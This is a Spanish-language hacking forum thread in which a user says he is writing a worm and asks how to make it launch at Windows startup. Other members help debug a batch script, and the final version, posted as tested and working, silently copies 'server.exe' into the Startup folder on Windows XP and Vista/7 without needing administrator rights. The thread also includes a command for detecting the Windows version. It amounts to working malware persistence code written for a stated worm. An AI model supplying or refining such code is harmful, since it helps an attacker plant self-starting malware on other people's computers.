Pequeña duda en batch [solucionado!!!!] :D

Iniciado por roilivethelife, 2 Noviembre 2011, 20:43 PM

0 Miembros y 1 Visitante están viendo este tema.

roilivethelife

Hola!
Estoy programando un worm, pero me falla una parte vital, que es la de autoarranque con windows.
Tengo este codigo pero me da "error de sintaxis"
@echo off
REM esta carpeta vale si es windows xp solo
copy /Y server.exe %homedrive%\Documents and Settings\%username%\Menú inicio\Programas\Inicio

(Hay un archivo llamado server.exe donde se ejecuta el bat y la carpeta a donde quiero copiar existe)

y otra preguntita si no es mucho pedir:
como hacer desde batch, saber si un sistema es windows xp o vista/7

gracias!

$Edu$

Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch.

Y porque usas 2 variables de entorno pudiendo usar %userprofile%

2Fac3R

Escuela de Hackers & Programación. http://ihackndev.blogspot.com/

Eleкtro

Lo que nadie te ha dicho es que aunque uses solamente %Userprofile% ese código te va a seguir dando error...

1º - Usa comillas dobles en nombres con espacios.

2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.

3º - Leete un manual básico...

Código (dos) [Seleccionar]
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

Para saber que windows usa, es tan fácil como esto:

Código (dos) [Seleccionar]
systeminfo | find "Nombre del sistema"

Saludos.








roilivethelife

CitarPara que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch
No quiero añadir nada al registro porque necesitas privilegios. De mi manera funcionaría en cualquier ordenador, bastaria con saber si es xp o w7 y copiar el programa a la carpeta de inicio.

CitarY porque usas 2 variables de entorno pudiendo usar %userprofile%
porque estaba desesperado probando de todas formas posibles y no me iba


Citar1º - Usa comillas dobles en nombres con espacios.
ok

Citar2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
en la consola aparece esto TAL CUAL cuando estoy en la carpeta
C:\Documents and Settings\nombreusuario\Menú Inicio\Programas\Inicio>

CitarCódigo

copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

me dá error de ruta especificada no hallada...
Tambien probé con el nombre en español y me da el mismo error, creo que es fallo de la tilde.
alguna solucion?

si kereis probarlo en w7 la carpeta es
"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu"

gracias!

Eleкtro

el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código (dos) [Seleccionar]
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul


PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.








roilivethelife

#6
Cita de: EleKtro H@cker en  3 Noviembre 2011, 16:46 PM
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código (dos) [Seleccionar]
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul


PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.

Ya he encontrado el fallo, por cierto, he probado tu código y me crea las carpetas en ingles xD
El problema está en el uso de la tilde, he mirado en este post: http://foro.elhacker.net/scripting/acentos_en_un_bat-t174987.0.html

Basicamente lo que dice es que usemos el editor de ms-dos ejecutando "edit"

Pones las tildes, guardas y perfecto!
Ya lo he solucionado, funciona 100%
Mi codigo de inicio automatico sin tener privilegios administrativo:
@echo off
REM Comprobando si es xp...
IF EXIST "%userprofile%\Men£ Inicio\Programas\Inicio\" copy /Y "server.exe" "%userprofile%\Men£ Inicio\Programas\Inicio\"

REM Comprobando si es vista o w7
IF EXIST "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" copy /Y "server.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Pause

Le añadiré alguna mejora pero por el momento me sirve de sobra.

GRacias a todos por responder, especialmete a EleKtro H@cker